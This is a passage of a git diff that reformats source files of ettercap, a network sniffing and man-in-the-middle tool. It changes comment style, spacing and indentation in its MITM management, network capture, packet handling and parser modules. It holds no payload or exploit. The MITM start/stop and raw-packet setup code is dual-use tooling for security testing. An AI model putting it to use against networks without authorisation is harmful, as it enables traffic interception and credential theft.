either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- global variables handling module + * + * Copyright (C) Ettercap Development Team + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include @@ -26,19 +26,11 @@ void safe_free_mem(char **param, int *param_length, char *command) int k; SAFE_FREE(command); - for(k= 0; k < (*param_length); ++k) - SAFE_FREE(param[k]); - SAFE_FREE(param); + for (k = 0; k < (*param_length); ++k) + SAFE_FREE(param[k]); + SAFE_FREE(param); } - - - - - - - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_mitm.c b/src/ec_mitm.c index e2eb339e0..9d8e994b5 100644 --- a/src/ec_mitm.c +++ b/src/ec_mitm.c @@ -1,23 +1,23 @@ /* - ettercap -- mitm management module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- mitm management module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -27,14 +27,13 @@ /* globals */ - -static SLIST_HEAD (, mitm_entry) mitm_table; +static SLIST_HEAD(, mitm_entry) mitm_table; struct mitm_entry { int selected; int started; struct mitm_method *mm; - SLIST_ENTRY (mitm_entry) next; + SLIST_ENTRY(mitm_entry) next; }; static char *mitm_args = ""; @@ -42,7 +41,7 @@ static char *mitm_args = ""; /*******************************************/ /* - * register a new mitm method in the table + * register a new mitm method in the table */ void mitm_add(struct mitm_method *mm) { @@ -52,14 +51,12 @@ void mitm_add(struct mitm_method *mm) /* copy the mm struct */ SAFE_CALLOC(e->mm, 1, sizeof(struct mitm_method)); - + memcpy(e->mm, mm, sizeof(struct mitm_method)); - + SLIST_INSERT_HEAD(&mitm_table, e, next); - } - /* * set the 'selected' flag in the table * used by ec_parse.c @@ -70,13 +67,13 @@ int mitm_set(char *name) if ((mitm_args = strchr(name, ':')) != NULL) { *mitm_args = '\0'; - mitm_args ++; + mitm_args++; } else { mitm_args = ""; } - + DEBUG_MSG("mitm_set: %s (%s)", name, mitm_args); - + /* search the name and set it */ SLIST_FOREACH(e, &mitm_table, next) { if (!strcasecmp(e->mm->name, name)) { @@ -94,16 +91,16 @@ int mitm_set(char *name) int is_mitm_active(char *name) { struct mitm_entry *e; - + /* search the name and set it */ SLIST_FOREACH(e, &mitm_table, next) - if (!strcasecmp(e->mm->name, name)) - return e->started; - + if (!strcasecmp(e->mm->name, name)) + return e->started; + return 0; } -/* +/* * starts all the method with the selected flag set. * it is possible to start multiple method simultaneusly */ @@ -117,23 +114,22 @@ int mitm_start(void) return -E_INVALID; } - DEBUG_MSG("mitm_start"); - + /* start all the selected methods */ SLIST_FOREACH(e, &mitm_table, next) { if (e->selected && !e->started) { - + /* cant use -R with mitm methods */ if (GBL_OPTIONS->reversed) SEMIFATAL_ERROR("Reverse target matching can't be used with MITM attacks"); - + if (!GBL_IFACE->is_ready) SEMIFATAL_ERROR("MITM attacks can't be used on unconfigured interfaces"); - + DEBUG_MSG("mitm_start: starting %s", e->mm->name); - /* + /* * if the mitm method does not start correctly, * deselect it ! */ @@ -147,7 +143,6 @@ int mitm_start(void) return E_SUCCESS; } - /* * stop all the previously started method */ @@ -156,7 +151,7 @@ void mitm_stop(void) struct mitm_entry *e; DEBUG_MSG("mitm_stop"); - + /* stop all the started methods */ SLIST_FOREACH(e, &mitm_table, next) { if (e->started) { @@ -166,42 +161,40 @@ void mitm_stop(void) e->selected = 0; } } - } - /* * keep the process running until the user exits */ void only_mitm(void) { char ch = 0; - + /* build the list of active hosts */ build_hosts_list(); - + /* start the mitm attack */ mitm_start(); INSTANT_USER_MSG("Activated the mitm attack only... (press 'q' to exit)\n"); if (GBL_UI->type == UI_DAEMONIZE) - LOOP { - ec_usleep(SEC2MICRO(1)); - } - - /* wait for user to exit */ - while (ch != 'q' && ch != 'Q') { - /* if there is a pending char to be read */ - if ( ec_poll_in(fileno(stdin), 1) || ec_poll_buffer(GBL_OPTIONS->script) ) { - /* get the input from the stdin or the buffer */ - if (ec_poll_buffer(GBL_OPTIONS->script)) - ch = getchar_buffer(&GBL_OPTIONS->script); - else - ch = getchar(); + LOOP { + ec_usleep(SEC2MICRO(1)); } - } - + + /* wait for user to exit */ + while (ch != 'q' && ch != 'Q') { + /* if there is a pending char to be read */ + if (ec_poll_in(fileno(stdin), 1) || ec_poll_buffer(GBL_OPTIONS->script)) { + /* get the input from the stdin or the buffer */ + if (ec_poll_buffer(GBL_OPTIONS->script)) + ch = getchar_buffer(&GBL_OPTIONS->script); + else + ch = getchar(); + } + } + INSTANT_USER_MSG("Exiting...\n\n"); /* stop the process */ @@ -214,4 +207,3 @@ void only_mitm(void) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_network.c b/src/ec_network.c index d4ee19a81..5c3671d6d 100644 --- a/src/ec_network.c +++ b/src/ec_network.c @@ -12,16 +12,16 @@ #endif #if defined(OS_BSD_OPEN) || defined(OS_LINUX) - /* LINUX does not care about timeout */ - /* OPENBSD needs 0 */ - #define PCAP_TIMEOUT 0 +/* LINUX does not care about timeout */ +/* OPENBSD needs 0 */ +#define PCAP_TIMEOUT 0 #elif defined(OS_SOLARIS) - /* SOLARIS needs > 1 */ - #define PCAP_TIMEOUT 10 +/* SOLARIS needs > 1 */ +#define PCAP_TIMEOUT 10 #else - /* FREEBSD needs 1 */ - /* MACOSX needs 1 */ - #define PCAP_TIMEOUT 1 +/* FREEBSD needs 1 */ +/* MACOSX needs 1 */ +#define PCAP_TIMEOUT 1 #endif struct source_entry { @@ -30,10 +30,10 @@ struct source_entry { }; /* globals */ -static LIST_HEAD(,source_entry) sources_list; +static LIST_HEAD(, source_entry) sources_list; static pthread_mutex_t sl_mutex = PTHREAD_MUTEX_INITIALIZER; -#define SOURCES_LIST_LOCK do{ pthread_mutex_lock(&sl_mutex); }while(0) -#define SOURCES_LIST_UNLOCK do{ pthread_mutex_unlock(&sl_mutex); }while(0) +#define SOURCES_LIST_LOCK do { pthread_mutex_lock(&sl_mutex); } while (0) +#define SOURCES_LIST_UNLOCK do { pthread_mutex_unlock(&sl_mutex); } while (0) /* protos */ static void close_network(); @@ -56,8 +56,8 @@ void network_init() DEBUG_MSG("init_network"); GBL_PCAP->snaplen = UINT16_MAX; - - if(GBL_OPTIONS->read) { + + if (GBL_OPTIONS->read) { source_init(GBL_OPTIONS->pcapfile_in, GBL_IFACE, true, false); source_print(GBL_IFACE); } else { @@ -65,46 +65,46 @@ void network_init() ON_ERROR(iface, NULL, "No suitable interface found..."); source_init(iface, GBL_IFACE, true, true); source_print(GBL_IFACE); - if(GBL_SNIFF->type == SM_BRIDGED) { + if (GBL_SNIFF->type == SM_BRIDGED) { source_init(GBL_OPTIONS->iface_bridge, GBL_BRIDGE, true, true); source_print(GBL_BRIDGE); - if(GBL_BRIDGE->dlt != GBL_IFACE->dlt) + if (GBL_BRIDGE->dlt != GBL_IFACE->dlt) FATAL_ERROR("Can't bridge interfaces of different types"); } } - if(get_decoder(LINK_LAYER, GBL_IFACE->dlt) == NULL) { - if(GBL_OPTIONS->read) + if (get_decoder(LINK_LAYER, GBL_IFACE->dlt) == NULL) { + if (GBL_OPTIONS->read) FATAL_ERROR("Dump file not supported (%s)", pcap_datalink_val_to_description(GBL_PCAP->dlt)); else FATAL_ERROR("Interface \"%s\" not supported (%s)", GBL_OPTIONS->iface, pcap_datalink_val_to_description(GBL_PCAP->dlt)); } - - if(GBL_OPTIONS->write) + + if (GBL_OPTIONS->write) pcap_winit(GBL_IFACE->pcap); - + GBL_PCAP->align = get_alignment(GBL_PCAP->dlt); SAFE_CALLOC(GBL_PCAP->buffer, UINT16_MAX + GBL_PCAP->align + 256, sizeof(char)); - if(GBL_OPTIONS->secondary) { + if (GBL_OPTIONS->secondary) { secondary_sources_init(GBL_OPTIONS->secondary); atexit(close_secondary_sources); } /* Layer 3 handlers initialization */ - if(!GBL_OPTIONS->unoffensive) + if (!GBL_OPTIONS->unoffensive) l3_init(); - + atexit(close_network); } static void close_network() { pcap_close(GBL_IFACE->pcap); - if(GBL_SNIFF->type == SM_BRIDGED) + if (GBL_SNIFF->type == SM_BRIDGED) pcap_close(GBL_BRIDGE->pcap); - if(GBL_OPTIONS->write) + if (GBL_OPTIONS->write) pcap_dump_close(GBL_PCAP->dump); libnet_destroy(GBL_IFACE->lnet); @@ -126,14 +126,14 @@ static void source_print(struct iface_env *source) char strbuf[256]; struct net_list *ip6; - if(source->is_live) { + if (source->is_live) { USER_MSG("Listening on:\n"); USER_MSG("%6s -> %s\n", source->name, mac_addr_ntoa(source->mac, strbuf)); - if(source->has_ipv4) { + if (source->has_ipv4) { USER_MSG("\t %s/", ip_addr_ntoa(&source->ip, strbuf)); USER_MSG("%s\n", ip_addr_ntoa(&source->netmask, strbuf)); } - if(source->has_ipv6) { + if (source->has_ipv6) { LIST_FOREACH(ip6, &source->ip6_list, next) { USER_MSG("\t %s/%d\n", ip_addr_ntoa(&ip6->ip, strbuf), ip6->prefix); } @@ -144,7 +144,6 @@ static void source_print(struct iface_env *source) } else { USER_MSG("Reading from %s\n", source->name); } - } static int source_init(char *name, struct iface_env *source, bool primary, bool live) @@ -163,7 +162,7 @@ static int source_init(char *name, struct iface_env *source, bool primary, bool struct net_list *ip6; #if !defined(OS_WINDOWS) - struct ifaddrs *ifaddrs, *ifaddr; + struct ifaddrs *ifaddrs, *ifaddr; #endif DEBUG_MSG("source_init %s", name); @@ -171,22 +170,22 @@ static int source_init(char *name, struct iface_env *source, bool primary, bool BUG_IF(source == NULL); /* ===pcap initialization=== */ - if(live) { + if (live) { pcap = pcap_open_live(name, GBL_PCAP->snaplen, GBL_PCAP->promisc, PCAP_TIMEOUT, pcap_errbuf); - if(pcap == NULL) { - if(primary) + if (pcap == NULL) { + if (primary) ON_ERROR(pcap, NULL, "pcap_open_live: %s", pcap_errbuf); else return -E_INITFAIL; } } else { /* secondary sources must not be offline */ - if(!primary) + if (!primary) return -E_NOTHANDLED; struct stat st; int stat_result; - FILE* pcap_file_h; + FILE *pcap_file_h; pcap = pcap_open_offline(name, pcap_errbuf); ON_ERROR(pcap, NULL, "pcap_open_offline: %s", pcap_errbuf); @@ -200,47 +199,47 @@ static int source_init(char *name, struct iface_env *source, bool primary, bool GBL_PCAP->dump_size = st.st_size; } source->dlt = pcap_datalink(pcap); - if(primary) + if (primary) GBL_PCAP->dlt = source->dlt; - if(source->dlt == DLT_IEEE802_11) { + if (source->dlt == DLT_IEEE802_11) { DEBUG_MSG("Wireless monitor mode used, switching to unoffensive mode"); source->unoffensive = 1; - if(primary) + if (primary) GBL_OPTIONS->unoffensive = 1; } - if(!strcmp(name, "lo")) { + if (!strcmp(name, "lo")) { DEBUG_MSG("Loopback interface used, switching to unoffensive mode"); source->unoffensive = 1; - if(primary) + if (primary) GBL_OPTIONS->unoffensive = 1; } - if(GBL_PCAP->filter && strcmp(GBL_PCAP->filter, "") && live) { + if (GBL_PCAP->filter && strcmp(GBL_PCAP->filter, "") && live) { u_int net, mask; - if(pcap_lookupnet(name, &net, &mask, pcap_errbuf) == -1) + if (pcap_lookupnet(name, &net, &mask, pcap_errbuf) == -1) ERROR_MSG("%s - %s", name, pcap_errbuf); - if(pcap_compile(pcap, &bpf, GBL_PCAP->filter, 1, mask) < 0) + if (pcap_compile(pcap, &bpf, GBL_PCAP->filter, 1, mask) < 0) ERROR_MSG("Wrong pcap filter: %s - %s", name, pcap_geterr(pcap)); - if(pcap_setfilter(pcap, &bpf) == 1) + if (pcap_setfilter(pcap, &bpf) == 1) ERROR_MSG("Cannot set pcap filter: %s - %s", name, pcap_geterr(pcap)); } snaplen = pcap_snapshot(pcap); DEBUG_MSG("requested snaplen for %s: %d, assigned snaplen: %d", name, GBL_PCAP->snaplen, snaplen); - if(primary) + if (primary) GBL_PCAP->snaplen = snaplen; source->pcap = pcap; SAFE_STRDUP(source->name, name); - if(live) { + if (live) { source->is_live = 1; } else { source->is_ready = 1; return E_SUCCESS; } - if(!GBL_OPTIONS->unoffensive && !source->unoffensive) { + if (!GBL_OPTIONS->unoffensive && !source->unoffensive) { lnet = libnet_init(LIBNET_LINK_ADV, name, lnet_errbuf); ON_ERROR(lnet, NULL, "libnet_init: %s", lnet_errbuf); @@ -252,68 +251,67 @@ static int source_init(char *name, struct iface_env *source, bool primary, bool source->mtu = get_iface_mtu(name); #if defined(OS_WINDOWS) - pcap_if_t *dev; - - for (dev = (pcap_if_t *)GBL_PCAP->ifs; dev; dev = dev->next) { - if(strcmp(dev->name, name)) - continue; - - if(dev->addresses->addr->sa_family == AF_INET) { - sa4 = (struct sockaddr_in*) dev->addresses->addr; - - ip_addr_init(&source->ip, AF_INET, (u_char*)&sa4->sin_addr); - if(GBL_OPTIONS->netmask) { - if(ip_addr_pton(GBL_OPTIONS->netmask, &source->netmask) != E_SUCCESS) - FATAL_ERROR("Invalid netmask %s", GBL_OPTIONS->netmask); - } else { - sa4 = (struct sockaddr_in*) dev->addresses->netmask; - ip_addr_init(&source->netmask, AF_INET, (u_char*)&sa4->sin_addr); - } - ip_addr_get_network(&source->ip, &source->netmask, &source->network); - source->has_ipv4 = 1; - } - else if(dev->addresses->addr->sa_family == AF_INET6) { - SAFE_CALLOC(ip6, 1, sizeof(*ip6)); - sa6 = (struct sockaddr_in6*) dev->addresses->addr; - ip_addr_init(&ip6->ip, AF_INET6, (u_char*)&sa6->sin6_addr); - - sa6 = (struct sockaddr_in6*) dev->addresses->netmask; - ip_addr_init(&ip6->netmask, AF_INET6, (u_char*)&sa6->sin6_addr); - ip_addr_get_network(&ip6->ip, &ip6->netmask, &ip6->network); - ip6->prefix = ip_addr_get_prefix(&ip6->netmask); - LIST_INSERT_HEAD(&source->ip6_list, ip6, next); - source->has_ipv6 = 1; + pcap_if_t *dev; + + for (dev = (pcap_if_t *)GBL_PCAP->ifs; dev; dev = dev->next) { + if (strcmp(dev->name, name)) + continue; + + if (dev->addresses->addr->sa_family == AF_INET) { + sa4 = (struct sockaddr_in *)dev->addresses->addr; + + ip_addr_init(&source->ip, AF_INET, (u_char *)&sa4->sin_addr); + if (GBL_OPTIONS->netmask) { + if (ip_addr_pton(GBL_OPTIONS->netmask, &source->netmask) != E_SUCCESS) + FATAL_ERROR("Invalid netmask %s", GBL_OPTIONS->netmask); + } else { + sa4 = (struct sockaddr_in *)dev->addresses->netmask; + ip_addr_init(&source->netmask, AF_INET, (u_char *)&sa4->sin_addr); + } + ip_addr_get_network(&source->ip, &source->netmask, &source->network); + source->has_ipv4 = 1; + } else if (dev->addresses->addr->sa_family == AF_INET6) { + SAFE_CALLOC(ip6, 1, sizeof(*ip6)); + sa6 = (struct sockaddr_in6 *)dev->addresses->addr; + ip_addr_init(&ip6->ip, AF_INET6, (u_char *)&sa6->sin6_addr); + + sa6 = (struct sockaddr_in6 *)dev->addresses->netmask; + ip_addr_init(&ip6->netmask, AF_INET6, (u_char *)&sa6->sin6_addr); + ip_addr_get_network(&ip6->ip, &ip6->netmask, &ip6->network); + ip6->prefix = ip_addr_get_prefix(&ip6->netmask); + LIST_INSERT_HEAD(&source->ip6_list, ip6, next); + source->has_ipv6 = 1; } - } + } #else ret = getifaddrs(&ifaddrs); ON_ERROR(ret, -1, "getifaddrs: %s", strerror(errno)); - for(ifaddr = ifaddrs; ifaddr; ifaddr = ifaddr->ifa_next) { + for (ifaddr = ifaddrs; ifaddr; ifaddr = ifaddr->ifa_next) { if (ifaddr->ifa_addr == NULL) continue; - if(strcmp(ifaddr->ifa_name, name)) + if (strcmp(ifaddr->ifa_name, name)) continue; - if(ifaddr->ifa_addr->sa_family == AF_INET) { - sa4 = (struct sockaddr_in*)ifaddr->ifa_addr; - ip_addr_init(&source->ip, AF_INET, (u_char*)&sa4->sin_addr); - if(GBL_OPTIONS->netmask) { - if(ip_addr_pton(GBL_OPTIONS->netmask, &source->netmask) != E_SUCCESS) + if (ifaddr->ifa_addr->sa_family == AF_INET) { + sa4 = (struct sockaddr_in *)ifaddr->ifa_addr; + ip_addr_init(&source->ip, AF_INET, (u_char *)&sa4->sin_addr); + if (GBL_OPTIONS->netmask) { + if (ip_addr_pton(GBL_OPTIONS->netmask, &source->netmask) != E_SUCCESS) FATAL_ERROR("Invalid netmask %s", GBL_OPTIONS->netmask); } else { - sa4 = (struct sockaddr_in*)ifaddr->ifa_netmask; - ip_addr_init(&source->netmask, AF_INET, (u_char*)&sa4->sin_addr); + sa4 = (struct sockaddr_in *)ifaddr->ifa_netmask; + ip_addr_init(&source->netmask, AF_INET, (u_char *)&sa4->sin_addr); } ip_addr_get_network(&source->ip, &source->netmask, &source->network); source->has_ipv4 = 1; - } else if(ifaddr->ifa_addr->sa_family == AF_INET6) { + } else if (ifaddr->ifa_addr->sa_family == AF_INET6) { SAFE_CALLOC(ip6, 1, sizeof(*ip6)); - sa6 = (struct sockaddr_in6*)ifaddr->ifa_addr; - ip_addr_init(&ip6->ip, AF_INET6, (u_char*)&sa6->sin6_addr); - sa6 = (struct sockaddr_in6*)ifaddr->ifa_netmask; - ip_addr_init(&ip6->netmask, AF_INET6, (u_char*)&sa6->sin6_addr); + sa6 = (struct sockaddr_in6 *)ifaddr->ifa_addr; + ip_addr_init(&ip6->ip, AF_INET6, (u_char *)&sa6->sin6_addr); + sa6 = (struct sockaddr_in6 *)ifaddr->ifa_netmask; + ip_addr_init(&ip6->netmask, AF_INET6, (u_char *)&sa6->sin6_addr); ip_addr_get_network(&ip6->ip, &ip6->netmask, &ip6->network); ip6->prefix = ip_addr_get_prefix(&ip6->netmask); LIST_INSERT_HEAD(&source->ip6_list, ip6, next); @@ -322,7 +320,7 @@ static int source_init(char *name, struct iface_env *source, bool primary, bool } freeifaddrs(ifaddrs); -#endif /* OS_WINDOWS */ +#endif /* OS_WINDOWS */ source->is_ready = 1; @@ -337,13 +335,13 @@ static void source_close(struct iface_env *iface) iface->is_ready = 0; - if(iface->pcap != NULL) + if (iface->pcap != NULL) pcap_close(iface->pcap); - if(iface->lnet != NULL) + if (iface->lnet != NULL) libnet_destroy(iface->lnet); - -#ifdef WITH_IPV6 + +#ifdef WITH_IPV6 LIST_FOREACH(n, &iface->ip6_list, next) { LIST_REMOVE(n, next); SAFE_FREE(n); @@ -361,14 +359,14 @@ static int secondary_sources_init(char **sources) SOURCES_LIST_LOCK; - for(n = 0; sources[n] != NULL; n++) { + for (n = 0; sources[n] != NULL; n++) { SAFE_CALLOC(se, 1, sizeof(*se)); /* secondary interfaces are always live */ source_init(sources[n], &se->iface, true, false); - if(se->iface.is_ready) + if (se->iface.is_ready) LIST_INSERT_HEAD(&sources_list, se, next); - else + else SAFE_FREE(se); } @@ -377,17 +375,17 @@ static int secondary_sources_init(char **sources) return n; } -void secondary_sources_foreach(void (*callback)(struct iface_env*)) +void secondary_sources_foreach(void (*callback)(struct iface_env *)) { - struct source_entry *se; + struct source_entry *se; - SOURCES_LIST_LOCK; + SOURCES_LIST_LOCK; - LIST_FOREACH(se, &sources_list, next) { - callback(&se->iface); - } + LIST_FOREACH(se, &sources_list, next) { + callback(&se->iface); + } - SOURCES_LIST_UNLOCK; + SOURCES_LIST_UNLOCK; } static void close_secondary_sources(void) @@ -417,28 +415,27 @@ static void l3_init(void) char *name = NULL; #endif - char lnet_errbuf[LIBNET_ERRBUF_SIZE]; DEBUG_MSG("l3_init"); /* open the socket at layer 3 */ - l4 = libnet_init(LIBNET_RAW4_ADV, name, lnet_errbuf); + l4 = libnet_init(LIBNET_RAW4_ADV, name, lnet_errbuf); if (l4 == NULL) { DEBUG_MSG("send_init: libnet_init(LIBNET_RAW4_ADV) failed: %s", lnet_errbuf); USER_MSG("Libnet failed IPv4 initialization. Don't send IPv4 packets.\n"); } - GBL_LNET->lnet_IP4 = l4; + GBL_LNET->lnet_IP4 = l4; #ifdef WITH_IPV6 /* open the socket at layer 3 for IPv6 */ l6 = libnet_init(LIBNET_RAW6_ADV, name, lnet_errbuf); - if(l6 == NULL) { + if (l6 == NULL) { DEBUG_MSG("%s: libnet_init(LIBNET_RAW6_ADV) failed: %s", __func__, lnet_errbuf); USER_MSG("Libnet failed IPv6 initialization. Don't send IPv6 packets.\n"); } - + GBL_LNET->lnet_IP6 = l6; #endif @@ -447,24 +444,24 @@ static void l3_init(void) static void l3_close(void) { - if(GBL_LNET->lnet_IP4) + if (GBL_LNET->lnet_IP4) libnet_destroy(GBL_LNET->lnet_IP4); #ifdef WITH_IPV6 - if(GBL_LNET->lnet_IP6) + if (GBL_LNET->lnet_IP6) libnet_destroy(GBL_LNET->lnet_IP6); #endif - + DEBUG_MSG("ATEXIT: send_closed"); } -struct iface_env* iface_by_mac(u_int8 mac[MEDIA_ADDR_LEN]) +struct iface_env *iface_by_mac(u_int8 mac[MEDIA_ADDR_LEN]) { struct source_entry *se; SOURCES_LIST_LOCK; LIST_FOREACH(se, &sources_list, next) { - if(!memcmp(se->iface.mac, mac, MEDIA_ADDR_LEN)) { + if (!memcmp(se->iface.mac, mac, MEDIA_ADDR_LEN)) { SOURCES_LIST_UNLOCK; return &se->iface; } @@ -473,4 +470,3 @@ struct iface_env* iface_by_mac(u_int8 mac[MEDIA_ADDR_LEN]) SOURCES_LIST_UNLOCK; return NULL; } - diff --git a/src/ec_packet.c b/src/ec_packet.c index d53af3374..4f2ac0338 100644 --- a/src/ec_packet.c +++ b/src/ec_packet.c @@ -1,23 +1,23 @@ /* - ettercap -- packet object handling - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- packet object handling + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -27,14 +27,14 @@ /* --------------------------- */ -struct packet_object* packet_allocate_object(u_char *data, u_int len) +struct packet_object *packet_allocate_object(u_char *data, u_int len) { struct packet_object *po; SAFE_CALLOC(po, 1, sizeof(struct packet_object)); packet_create_object(po, data, len); po->flags |= PO_FORGED; - + return po; } @@ -46,12 +46,12 @@ int packet_create_object(struct packet_object *po, u_char *buf, u_int len) { /* clear the memory */ memset(po, 0, sizeof(struct packet_object)); - + /* set the buffer and the len of the received packet */ po->packet = buf; po->len = len; - - return (0); + + return 0; } /* @@ -67,8 +67,8 @@ int packet_disp_data(struct packet_object *po, u_char *buf, u_int len) { /* disp_data is always null terminated */ if (len + 1) { - if(po->DATA.disp_data) - SAFE_FREE(po->DATA.disp_data); + if (po->DATA.disp_data) + SAFE_FREE(po->DATA.disp_data); SAFE_CALLOC(po->DATA.disp_data, len + 1, sizeof(u_char)); } else { ERROR_MSG("packet_disp_data() negative len"); @@ -86,18 +86,18 @@ int packet_disp_data(struct packet_object *po, u_char *buf, u_int len) int packet_destroy_object(struct packet_object *po) { - - /* + + /* * the packet is a duplicate * we have to free even the packet buffer. * alse free data directed to top_half */ if (po->flags & PO_DUP) { - + SAFE_FREE(po->packet); - - /* - * free the dissector info + + /* + * free the dissector info * during the duplication, the pointers where * passed to the dup, so we have to free them * here. @@ -109,40 +109,39 @@ int packet_destroy_object(struct packet_object *po) SAFE_FREE(po->DISSECTOR.banner); SAFE_FREE(po->DISSECTOR.os); } - - /* + + /* * free the disp_data pointer * it was malloced by tcp or udp decoder. * If the packet was duplicated, disp_data points to NULL * (the dup func set it) - * because the duplicate points to the real data and will + * because the duplicate points to the real data and will * free them. */ SAFE_FREE(po->DATA.disp_data); /* if it is alloced entirely by ourselves */ - if(po->flags & PO_FORGED) { + if (po->flags & PO_FORGED) { SAFE_FREE(po->packet); SAFE_FREE(po); } - + return 0; } - /* * duplicate a po and return * the new allocated one */ -struct packet_object * packet_dup(struct packet_object *po, u_char flag) +struct packet_object *packet_dup(struct packet_object *po, u_char flag) { struct packet_object *dup_po; SAFE_CALLOC(dup_po, 1, sizeof(struct packet_object)); - /* - * copy the po over the dup_po - * but this is not sufficient, we have to adjust all + /* + * copy the po over the dup_po + * but this is not sufficient, we have to adjust all * the pointer to the po->packet. * so allocate a new packet, then recalculate the * pointers @@ -150,20 +149,20 @@ struct packet_object * packet_dup(struct packet_object *po, u_char flag) memcpy(dup_po, po, sizeof(struct packet_object)); /* - * We set disp_data to NULL to avoid free in the + * We set disp_data to NULL to avoid free in the * original packet. Descending decoder chain doesn't - * care about disp_data. top_half will free it when + * care about disp_data. top_half will free it when * necessary, destroying the packet duplicate. */ dup_po->DATA.disp_data = po->DATA.disp_data; po->DATA.disp_data = NULL; po->DATA.disp_len = 0; - + /* copy only if the buffer exists */ - if ( (flag & PO_DUP_PACKET) && po->packet != NULL) { + if ((flag & PO_DUP_PACKET) && po->packet != NULL) { /* duplicate the po buffer */ SAFE_CALLOC(dup_po->packet, po->len, sizeof(u_char)); - + /* copy the buffer */ memcpy(dup_po->packet, po->packet, po->len); } else { @@ -171,11 +170,11 @@ struct packet_object * packet_dup(struct packet_object *po, u_char flag) dup_po->packet = NULL; } - /* - * If we want to duplicate packet content we don't want + /* + * If we want to duplicate packet content we don't want * user, pass, etc. Otherwise we would free them twice * (they are freed by the other duplicate into top half). - */ + */ if (flag & PO_DUP_PACKET) { dup_po->DISSECTOR.user = NULL; dup_po->DISSECTOR.pass = NULL; @@ -183,19 +182,19 @@ struct packet_object * packet_dup(struct packet_object *po, u_char flag) dup_po->DISSECTOR.banner = NULL; dup_po->DISSECTOR.os = NULL; } - - /* + + /* * adjust all the pointers as the difference * between the old buffer and the pointer */ dup_po->L2.header = dup_po->packet + (po->L2.header - po->packet); - + dup_po->L3.header = dup_po->packet + (po->L3.header - po->packet); dup_po->L3.options = dup_po->packet + (po->L3.options - po->packet); - + dup_po->L4.header = dup_po->packet + (po->L4.header - po->packet); dup_po->L4.options = dup_po->packet + (po->L4.options - po->packet); - + dup_po->DATA.data = dup_po->packet + (po->DATA.data - po->packet); dup_po->fwd_packet = dup_po->packet + (po->fwd_packet - po->packet); @@ -206,7 +205,6 @@ struct packet_object * packet_dup(struct packet_object *po, u_char flag) return dup_po; } - /* EOF */ // vim:ts=3:expandtab diff --git a/src/ec_parser.c b/src/ec_parser.c index da872f198..6947b08f1 100644 --- a/src/ec_parser.c +++ b/src/ec_parser.c @@ -1,24 +1,23 @@ /* - ettercap -- parsing utilities - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * ettercap -- parsing utilities + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 